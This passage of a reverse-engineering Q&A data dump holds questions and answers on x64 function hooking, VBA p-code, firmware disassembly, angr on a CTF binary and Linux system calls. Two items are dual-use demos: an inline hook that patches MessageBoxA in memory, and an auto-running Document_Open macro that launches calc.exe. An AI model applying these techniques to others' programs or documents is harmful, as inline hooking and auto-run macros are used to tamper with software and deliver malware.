((DWORD)FunctionAddress + TrampolineLength) - ((DWORD)original + TrampolineLength + 5);&#xA;    memcpy((LPVOID)((DWORD)original + TrampolineLength), Jump, 5);&#xA;&#xA;    //Make sure the function is writable&#xA;    if (!VirtualProtect(FunctionAddress, TrampolineLength, PAGE_EXECUTE_READWRITE, &amp;amp;OriginalProtection))&#xA;        return FALSE;&#xA;&#xA;    //Build and atomically write the hook&#xA;    *(DWORD*)(Jump + 1) = (DWORD)proxy - (DWORD)FunctionAddress - 5;&#xA;    //SafeMemcpyPadded(FunctionAddress, Jump, 5);&#xA;&#xA;    //Restore the original page protection&#xA;    VirtualProtect(FunctionAddress, TrampolineLength, OriginalProtection, &amp;amp;OriginalProtection);&#xA;&#xA;    //Clear CPU instruction cache&#xA;    FlushInstructionCache(GetCurrentProcess(), FunctionAddress, TrampolineLength);&#xA;&#xA;    *length = TrampolineLength;&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The header file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#pragma once&#xA;&#xA;    #include &amp;lt;stdio.h&amp;gt;&#xA;    #include &amp;lt;stdlib.h&amp;gt;&#xA;    #include &amp;lt;Windows.h&amp;gt;&#xA;    #include &quot;hde64.h&quot;&#xA;&#xA;    class SHook&#xA;    {&#xA;    private :&#xA;        LPVOID FunctionAddress;&#xA;        DWORD TrampolineLength = 0, OriginalProtection;&#xA;        hde64s disam;&#xA;        BYTE Jump[13] = { 0x49, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0xFF, 0xE3 };&#xA;    public:&#xA;        BOOL SetHook(LPCSTR dll, LPCSTR name, LPVOID proxy, LPVOID original, PDWORD length);&#xA;    };&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the implementation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;Windows.h&amp;gt;&#xA;#include &amp;lt;intrin.h&amp;gt;&#xA;#include &amp;lt;string&amp;gt;&#xA;#include &quot;JHook.h&quot;&#xA;&#xA;typedef int (WINAPI* TdefOldMessageBoxA)(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType);&#xA;TdefOldMessageBoxA myOldMessageBoxA;&#xA;&#xA;JHook Jhook;&#xA;int WINAPI HookMessageBoxA(HWND hWnd, LPCSTR lpText, LPCTSTR lpCaption, UINT uType) &#xA;{&#xA;    MessageBoxA(NULL, &quot;Hooked&quot;, &quot;Hooked&quot;, MB_OK);&#xA;    return myOldMessageBoxA(hWnd, lpText, lpCaption, uType);&#xA;}&#xA;&#xA;void EstablishHook()&#xA;{&#xA;        Jhook.SetHook(&quot;user32.dll&quot;,&quot;MessageBoxA&quot;, (LPVOID)&amp;amp;HookMessageBoxA, myOldMessageBoxA,0);&#xA;}&#xA;&#xA;int main() &#xA;{&#xA;    EstablishHook();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now i was expecting to see something like a Messagebox saying its hooked, and i just see a cmd nothing else, where am i getting it wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Opening inside a Debugger i have this &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00007FF663D143F4 | 55                       | push rbp                                |&#xA;00007FF663D143F5 | 57                       | push rdi                                |&#xA;00007FF663D143F6 | 48:81EC E8000000         | sub rsp,E8                              |&#xA;00007FF663D143FD | 48:8D6C24 20             | lea rbp,qword ptr ss:[rsp+20]           |&#xA;00007FF663D14402 | 48:8BFC                  | mov rdi,rsp                             |&#xA;00007FF663D14405 | B9 3A000000              | mov ecx,3A                              | 3A:':'&#xA;00007FF663D1440A | B8 CCCCCCCC              | mov eax,CCCCCCCC                        |&#xA;00007FF663D1440F | F3:AB                    | rep stosd                               |&#xA;00007FF663D14411 | 48:8B8C24 08010000       | mov rcx,qword ptr ss:[rsp+108]          |&#xA;00007FF663D14419 | 48:8D0D 15FC0000         | lea rcx,qword ptr ds:[7FF663D24035]     | MessageBoxTest.cpp:15732480&#xA;00007FF663D14420 | E8 5DCCFFFF              | call shook.7FF663D11082                 |&#xA;00007FF663D14425 | 45:33C9                  | xor r9d,r9d                             | MessageBoxTest.cpp:13&#xA;00007FF663D14428 | 4C:8D05 95880000         | lea r8,qword ptr ds:[7FF663D1CCC4]      | 00007FF663D1CCC4:&quot;Hooked&quot;&#xA;00007FF663D1442F | 48:8D15 8E880000         | lea rdx,qword ptr ds:[7FF663D1CCC4]     | 00007FF663D1CCC4:&quot;Hooked&quot;&#xA;00007FF663D14436 | 33C9                     | xor ecx,ecx                             |&#xA;00007FF663D14438 | FF15 2AED0000            | call qword ptr ds:[&amp;lt;&amp;amp;MessageBoxA&amp;gt;]      |&#xA;00007FF663D1443E | 44:8B8D F8000000         | mov r9d,dword ptr ss:[rbp+F8]           | MessageBoxTest.cpp:14&#xA;00007FF663D14445 | 4C:8B85 F0000000         | mov r8,qword ptr ss:[rbp+F0]            |&#xA;00007FF663D1444C | 48:8B95 E8000000         | mov rdx,qword ptr ss:[rbp+E8]           |&#xA;00007FF663D14453 | 48:8B8D E0000000         | mov rcx,qword ptr ss:[rbp+E0]           |&#xA;00007FF663D1445A | FF15 90AF0000            | call qword ptr ds:[&amp;lt;int (__cdecl* __ptr |&#xA;00007FF663D14460 | 48:8DA5 C8000000         | lea rsp,qword ptr ss:[rbp+C8]           | MessageBoxTest.cpp:15&#xA;00007FF663D14467 | 5F                       | pop rdi                                 |&#xA;00007FF663D14468 | 5D                       | pop rbp                                 |&#xA;00007FF663D14469 | C3                       | ret                                     |&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which shows the MessageBox Now i am a bit lost as to what to do next. Worked on detour Function, pls see above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;NOW i fixed the Sethook Engine now and it looks like this somehow &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;SHook.h&quot;&#xA;&#xA;BOOL SHook::SetHook(LPCSTR dll, LPCSTR name, LPVOID proxy, LPVOID original, PDWORD length)&#xA;{&#xA;    LPVOID FunctionAddress;&#xA;    DWORD TrampolineLength = 0, OriginalProtection;&#xA;    hde64s disam;&#xA;    BYTE Jump[14] = { 0xFF, 0x25, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };&#xA;&#xA;    FunctionAddress = GetProcAddress(GetModuleHandleA(dll), name);&#xA;    if (!FunctionAddress)&#xA;        return FALSE;&#xA;&#xA;    //disassemble length of each instruction, until we have 5 or more bytes worth&#xA;    while (TrampolineLength &amp;lt; 5)&#xA;    {&#xA;        LPVOID InstPointer = (LPVOID)((DWORD64)FunctionAddress + TrampolineLength);&#xA;        TrampolineLength += hde64_disasm(InstPointer, &amp;amp;disam);&#xA;    }&#xA;&#xA;    //Build the trampoline buffer&#xA;    memcpy(original, FunctionAddress, TrampolineLength);&#xA;    *(DWORD64*)(Jump + 1) = ((DWORD64)FunctionAddress + TrampolineLength) - ((DWORD64)original + TrampolineLength + 5); // &amp;lt;-- error falls here&#xA;    memcpy((LPVOID)((DWORD64)original + TrampolineLength), Jump, 5);&#xA;&#xA;    //Make sure the function is writable&#xA;    if (!VirtualProtect(FunctionAddress, TrampolineLength, PAGE_EXECUTE_READWRITE, &amp;amp;OriginalProtection))&#xA;        return FALSE;&#xA;&#xA;    //Build and atomically write the hook&#xA;    *(DWORD64*)(Jump + 1) = (DWORD64)proxy - (DWORD64)FunctionAddress - 5;&#xA;    //SafeMemcpyPadded(FunctionAddress, Jump, 5);&#xA;&#xA;    //Restore the original page protection&#xA;    VirtualProtect(FunctionAddress, TrampolineLength, OriginalProtection, &amp;amp;OriginalProtection);&#xA;&#xA;    //Clear CPU instruction cache&#xA;    FlushInstructionCache(GetCurrentProcess(), FunctionAddress, TrampolineLength);&#xA;&#xA;    *length = TrampolineLength;&#xA;    return TRUE;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Other things remain the same. do not have an idea why it fails still , especially on this line :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;*(DWORD64*)(Jump + 1) = ((DWORD64)FunctionAddress + TrampolineLength) - ((DWORD64)original + TrampolineLength + 5);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28722" LastEditorUserId="28722" LastEditDate="2019-06-14T15:04:32.457" LastActivityDate="2019-06-14T15:04:32.457" Title="x64 hook Fails on Messagebox" Tags="|c++|function-hooking|" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="21484" PostTypeId="1" CreationDate="2019-06-14T11:02:51.747" Score="2" ViewCount="1574" Body="&lt;p&gt;According to the README in &lt;a href=&quot;https://github.com/bontchev/pcodedmp&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/bontchev/pcodedmp&lt;/a&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;As each VBA line is entered into the VBA editor, it is immediately compiled into p-code&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;when you open the source of a macro module in the VBA editor, what is displayed is not the decompressed source code but the p-code decompiled into source&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that there is a line-to-line correspondence between the p-code and the VBA source code that generates it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a tool that can take the dumped p-code and get the VBA source code that generated it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, the input would be something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Line #0:&#xA;    FuncDefn (Private Sub Document_Open())&#xA;Line #1:&#xA;    LitStr 0x001D &quot;This could have been a virus!&quot;&#xA;    Ld vbOKOnly&#xA;    Ld vbInformation&#xA;    Add&#xA;    LitStr 0x0006 &quot;Virus!&quot;&#xA;    ArgsCall MsgBox 0x0003&#xA;Line #2:&#xA;    LitStr 0x0008 &quot;calc.exe&quot;&#xA;    Paren&#xA;    ArgsCall Shell 0x0001&#xA;Line #3:&#xA;    EndSub&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Private Sub Document_Open()&#xA;    MsgBox &quot;This could have been a virus!&quot;, vbOKOnly + vbInformation, &quot;Virus!&quot;&#xA;    Shell(&quot;calc.exe&quot;)&#xA;End Sub&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28724" LastActivityDate="2021-02-28T15:58:27.873" Title="Turning p-code generated by VBA (Visual Basic for Applications) back into VBA" Tags="|disassembly|disassemblers|decompile|visual-basic|vba|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="21485" PostTypeId="1" CreationDate="2019-06-14T11:13:36.293" Score="0" ViewCount="180" Body="&lt;p&gt;I am running a disassembly of a firmware image for a Cortex-M4 and the entry point is doing something strange.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EntryPoint:&#xA;00001000         db  0x00 ; '.'&#xA;00001001         db  0xff ; '.'&#xA;00001002         lsls       r7, r7, #0x3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why run decrement before on 0x00 and 0xff, what is the reasoning behind it?&lt;/p&gt;&#xA;" OwnerUserId="13984" LastActivityDate="2019-06-14T11:13:36.293" Title="Why decrement a hex value in assembly code?" Tags="|disassembly|arm|hopper|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21486" PostTypeId="2" ParentId="19791" CreationDate="2019-06-14T11:40:32.650" Score="1" Body="&lt;p&gt;Ida and ollydbg are very different, ollydbg is just a debugger, ida is a powerful disassembler to reverse with a debugger.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your capture, ollydbg places the names of the arguments in the stack.&#xA;Ida is more generic and shows the arguments in the call.&#xA;Ollydbg is only a 32-bit debugger and the arguments are passed on the stack, but ida is a 32 and 64 bit disassembler and in 64 bits the arguments are no longer passed through the stack, for this reason it is more effective to show the names of the arguments in the call, which works in 32 and 64 bits.&lt;/p&gt;&#xA;" OwnerUserId="28725" LastActivityDate="2019-06-14T11:40:32.650" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21487" PostTypeId="1" CreationDate="2019-06-14T12:26:46.833" Score="0" ViewCount="479" Body="&lt;p&gt;I looking in ida on arm linux binary . I can see there that there is ioctl call&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;ioctl(fd,req,num)&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;fd is fd to /dev/module. ,req is some 4bytes and num is some number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I understand what this ioctl call do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What &lt;code&gt;req&lt;/code&gt; number mean? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find the handle of this ioctl?&lt;/p&gt;&#xA;" OwnerUserId="23993" LastActivityDate="2019-06-16T11:24:42.713" Title="Understand what Ioctl do" Tags="|binary-analysis|linux|arm|syscall|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21488" PostTypeId="1" CreationDate="2019-06-14T15:12:13.747" Score="3" ViewCount="980" Body="&lt;p&gt;I was recently working on a (seemingly) simple CTF challenge where the input was a base64 encoded file and the binary would check for correctness in one function call. The catch is that the checking function was about 88k basic blocks long, but is entirely linear. So each block would check for a single byte and, if incorrect, would branch to a smaller block that would call an exiting function. The operation in each block is simple:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(RANDOM_CONST0 == mem[i] ^ RANDOM_CONST1){&#xA;    goto next_basic_block;&#xA;}else{&#xA;    exiting_function()    //no return&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The constants used are different for each basic block. So, it seemed like a great target for angr!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Attempts (using &lt;code&gt;call_state&lt;/code&gt;):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Uses &lt;code&gt;SimulationManager.explore&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Drops &lt;code&gt;avoid&lt;/code&gt; and &lt;code&gt;deadended&lt;/code&gt; states after each step (using &lt;code&gt;step_func&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Runs of out memory after ~10 minutes (8GB)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;2)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Uses &lt;code&gt;SimulationManager.step&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Manually prunes off 'bad' state after each step (e.g. one that leads to calling the exiting function)&lt;/li&gt;&#xA;&lt;li&gt;Evaluates a single byte of the solution after each block&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sets the memory to concrete value 0 (for memory reduction)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Still churning after 20 hours (65k bytes of solution)&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dramatic slowing at this point -- about 1 byte/3 seconds&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Uses &lt;code&gt;SimulationManager.simplify&lt;/code&gt; to reduce memory overhead per step&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Other misc things:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Absolutely &lt;em&gt;no&lt;/em&gt; constraints on the symbolic memory (containing the solution)&lt;/li&gt;&#xA;&lt;li&gt;The buffer is ~88k and constraints on that much memory alone consumes a lot of RAM&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Why is so much memory be taken up?&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The &lt;em&gt;only&lt;/em&gt; symbolic register is &lt;code&gt;eax&lt;/code&gt; in each basic block (because it reads a symbolic byte from memory), but it does not compound complexity with each step (it gets set to another symbolic value in the next basic block)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Why has angr slowed so dramatically?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I uploaded the CTF binary &lt;a href=&quot;http://s000.tinyupload.com/?file_id=88399206211278650157&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; for those interested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NezD5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NezD5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12885" LastEditorUserId="12885" LastEditDate="2019-06-14T15:25:53.307" LastActivityDate="2019-06-14T15:25:53.307" Title="How to prevent angr from taking dozens of hours and GB of memory solving a (seemingly) simple CTF problem" Tags="|angr|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="21489" PostTypeId="2" ParentId="18357" CreationDate="2019-06-14T20:17:37.343" Score="1" Body="&lt;h1&gt;Detection by analysing assembly&lt;/h1&gt;&#xA;&lt;p&gt;It will highly depend on the compiler used, but here are some constructions that will differ between position independent and position dependent code:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;if you spot a &lt;code&gt;jmp&lt;/code&gt; to an absolute address, that will mean that it is PDC (only jumps relative to &lt;code&gt;RIP&lt;/code&gt; will be used in PIC)&lt;/li&gt;&#xA;&lt;li&gt;when some data is referenced by absolute address, it is PDC&lt;/li&gt;&#xA;&lt;li&gt;as @Johann Aydinbas noticed, when you see patterns like &lt;code&gt;cal $+, pop&lt;/code&gt; or &lt;code&gt;call xxx, pop&lt;/code&gt; to push some absolute address onto the stack, it will likely be PIC&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Detection by opening with debugger&lt;/h1&gt;&#xA;&lt;p&gt;You may also take advantage of the fact, that when you load position independent program and check address of some function, &lt;code&gt;main&lt;/code&gt; for example, it will change each time you load it (because of &lt;a href=&quot;https://en.wikipedia.org/wiki/Address_space_layout_randomization&quot; rel=&quot;nofollow noreferrer&quot;&gt;ASLR&lt;/a&gt;). The same won't be true for PDC - all addresses will remain the same.&lt;/p&gt;&#xA;&lt;h1&gt;Detection by reading the ELF header&lt;/h1&gt;&#xA;&lt;p&gt;Why making your job hard analysing the executable, while it provides explicitly the information you need. As you noted in the comment, &lt;code&gt;ET_EXEC&lt;/code&gt; value of &lt;code&gt;e_type&lt;/code&gt; will be present in PDC, while &lt;code&gt;ET_DYN&lt;/code&gt; will appear in PIC. And, according to the second answer to this &lt;a href=&quot;https://stackoverflow.com/questions/34519521/why-does-gcc-create-a-shared-object-instead-of-an-executable-binary-according-to&quot;&gt;question&lt;/a&gt;, this is the information used to determine whether &lt;code&gt;ASLR&lt;/code&gt; may be used, in &lt;code&gt;Linux&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h1&gt;Other methods&lt;/h1&gt;&#xA;&lt;p&gt;You may of course use other tools for this purpose, like &lt;code&gt;file&lt;/code&gt; or &lt;code&gt;readelf&lt;/code&gt; for instance.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2019-06-14T20:17:37.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21492" PostTypeId="1" CreationDate="2019-06-15T19:38:39.337" Score="2" ViewCount="527" Body="&lt;p&gt;I am currently learning to use ghidra, and I found the Symbol Tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ghidra found some namespaces that I would like to export.&#xA;These namespaces don't even have to be readable, just reusable, such that I can use them in another application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way in Ghidra to export those namespaces in a reusable form? And if not, what would be my best bet of achieving this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some additional information:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The namespace is written in Visual C++ or C++.&lt;/li&gt;&#xA;&lt;li&gt;The application is running on windows, and so is Ghidra.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If any more information or clarification is needed, please tell me.&lt;/p&gt;&#xA;" OwnerUserId="28739" LastActivityDate="2019-06-15T19:38:39.337" Title="Ghidra - Export namespaces" Tags="|disassembly|c++|ghidra|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21495" PostTypeId="1" CreationDate="2019-06-16T06:25:03.840" Score="2" ViewCount="556" Body="&lt;p&gt;I often have some code like this on the beginning of every function of a decompiled program:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iVar1 = 0x42;&#xA;  puVar2 = local_10c;&#xA;  while (iVar1 != 0) {&#xA;    iVar1 = iVar1 + -1;&#xA;    *puVar2 = 0xcccccccc;&#xA;    puVar2 = puVar2 + 1;&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;0xcccccccc in web search seems related to &quot;uninitialized memory&quot; but I don't see the link with this blanket code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is it? What purpose does it have?&#xA;Why is it there as &quot;template&quot; for every function?&lt;/p&gt;&#xA;" OwnerUserId="4092" LastActivityDate="2019-06-16T11:06:35.087" Title="Template code with 0xcccccccc in every ghidra decompiled function for some executables" Tags="|decompiler|ghidra|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21497" PostTypeId="2" ParentId="21495" CreationDate="2019-06-16T07:32:58.373" Score="3" Body="&lt;p&gt;&lt;code&gt;0xCC&lt;/code&gt; stands for &lt;code&gt;int 3&lt;/code&gt; in &lt;code&gt;x86&lt;/code&gt; architecture, that is a special interrupt used to implement &lt;code&gt;software breakpoint&lt;/code&gt; by debuggers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this code sets the memory to &lt;code&gt;int 3&lt;/code&gt; interrupts &lt;strong&gt;for debugging purposes&lt;/strong&gt;. Imagine that the code accidentally jumps to some random location. If some garbage bytes are there, the behaviour is undefined. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, in case where such a jump accesses &lt;code&gt;int 3&lt;/code&gt; instruction, it will just cause &lt;code&gt;software breakpoint&lt;/code&gt; in the debugger thus preventing udefined behaviour from happening and showing you that some strange jump happened and stopping the execution at this point, exectly as in the case you set a breakpoint there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Moving &lt;code&gt;0xCCCCCCCC&lt;/code&gt; just sets &lt;code&gt;4&lt;/code&gt; contiguous bytes to &lt;code&gt;0xCC&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-06-16T08:27:40.560" LastActivityDate="2019-06-16T08:27:40.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21498" PostTypeId="1" AcceptedAnswerId="21501" CreationDate="2019-06-16T10:08:39.950" Score="2" ViewCount="838" Body="&lt;p&gt;I am currently reverse a challenge to learn. But why is the parameter of &lt;a href=&quot;http://man7.org/linux/man-pages/man2/mmap.2.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;mmap&lt;/a&gt; (containing &lt;code&gt;fd&lt;/code&gt;) at 4294967295?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Is it not supposed to exist? No files are open with &lt;code&gt;open&lt;/code&gt;, just before.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vCc0p.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vCc0p.png&quot; alt=&quot;https://snag.gy/8LPqoh.jpg&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="28528" LastEditorUserId="1654" LastEditDate="2019-06-17T07:00:06.403" LastActivityDate="2019-06-17T07:00:06.403" Title="Reverse a call to mmap()" Tags="|c|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21499" PostTypeId="2" ParentId="21495" CreationDate="2019-06-16T11:06:35.087" Score="3" Body="&lt;p&gt;This is probably code compiled by Visual C++ in debug build setting. In such case, the compiler generates code which fills all stack variables with the byte 0xCC, so that any uninitialized value is clearly visible during debugging. &#xA;See also &lt;a href=&quot;https://stackoverflow.com/a/11865164&quot;&gt;https://stackoverflow.com/a/11865164&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-06-16T11:06:35.087" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21500" PostTypeId="2" ParentId="21487" CreationDate="2019-06-16T11:24:42.713" Score="1" Body="&lt;p&gt;You need to find the driver (either a separate binary or built-in into the kernel) which publishes this dev file entry, the code to handle the ioctl request will be in it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here’s an article with an example of ioctl handler:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://opensourceforu.com/2011/08/io-control-in-linux/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://opensourceforu.com/2011/08/io-control-in-linux/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;String search for the file name may be the quickest way to do find the required binary/code area. &lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2019-06-16T11:24:42.713" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21501" PostTypeId="2" ParentId="21498" CreationDate="2019-06-16T12:42:59.033" Score="6" Body="&lt;p&gt;The signature for &lt;code&gt;mmap&lt;/code&gt; is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;4294967295 is same as -1 when treated as a signed integer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;mmap&lt;/code&gt; calls actually looks like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mmap(&#xA;     NULL,                                /*addr*/&#xA;     321,                                 /*length*/&#xA;     PROT_EXEC | PROT_READ | PROT_WRITE,  /*prot*/&#xA;     MAP_ANONYMOUS | MAP_PRIVATE,         /*flags*/&#xA;     -1,                                  /*fd*/&#xA;     0                                    /*offset*/&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now as per the &lt;a href=&quot;https://linux.die.net/man/2/mmap&quot; rel=&quot;noreferrer&quot;&gt;man pages&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;MAP_ANONYMOUS&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The mapping is not backed by any file; its contents are initialized to zero. The fd and offset arguments are ignored; however,&#xA;  &lt;strong&gt;some implementations require fd to be -1 if MAP_ANONYMOUS (or&#xA;  MAP_ANON) is specified,&lt;/strong&gt; and portable applications should ensure this.&#xA;  The use of MAP_ANONYMOUS in conjunction with MAP_SHARED is only&#xA;  supported on Linux since kernel 2.4.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It says if &lt;code&gt;MAP_ANONYMOUS&lt;/code&gt; is specified then we may use &lt;code&gt;-1&lt;/code&gt; as &lt;code&gt;fd&lt;/code&gt; which explains your question.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2019-06-16T12:42:59.033" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21502" PostTypeId="1" CreationDate="2019-06-17T08:37:02.260" Score="3" ViewCount="155" Body="&lt;p&gt;I'm trying to reverse engineer an ECU / GSU protocol from a model airplane jet turbine, in order to make a telemetry adapter.&#xA;I have decoded several other protocols in the past with good success but this one is especially tough, so I thought I would ask for assistance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have an Arduino Nano as the GSU emulator, with a LIN transceiver and verifying communication on a Saleae logic analyser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ECU uses a LIN interface but on a proprietary protocol unknown to me. In order to read it I am using an Arduino with a level shifter, and I verified that the incoming data is correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When ECU is stand alone, it sends several strings which appear to be interrogations for bus nodes, but nobody is replying 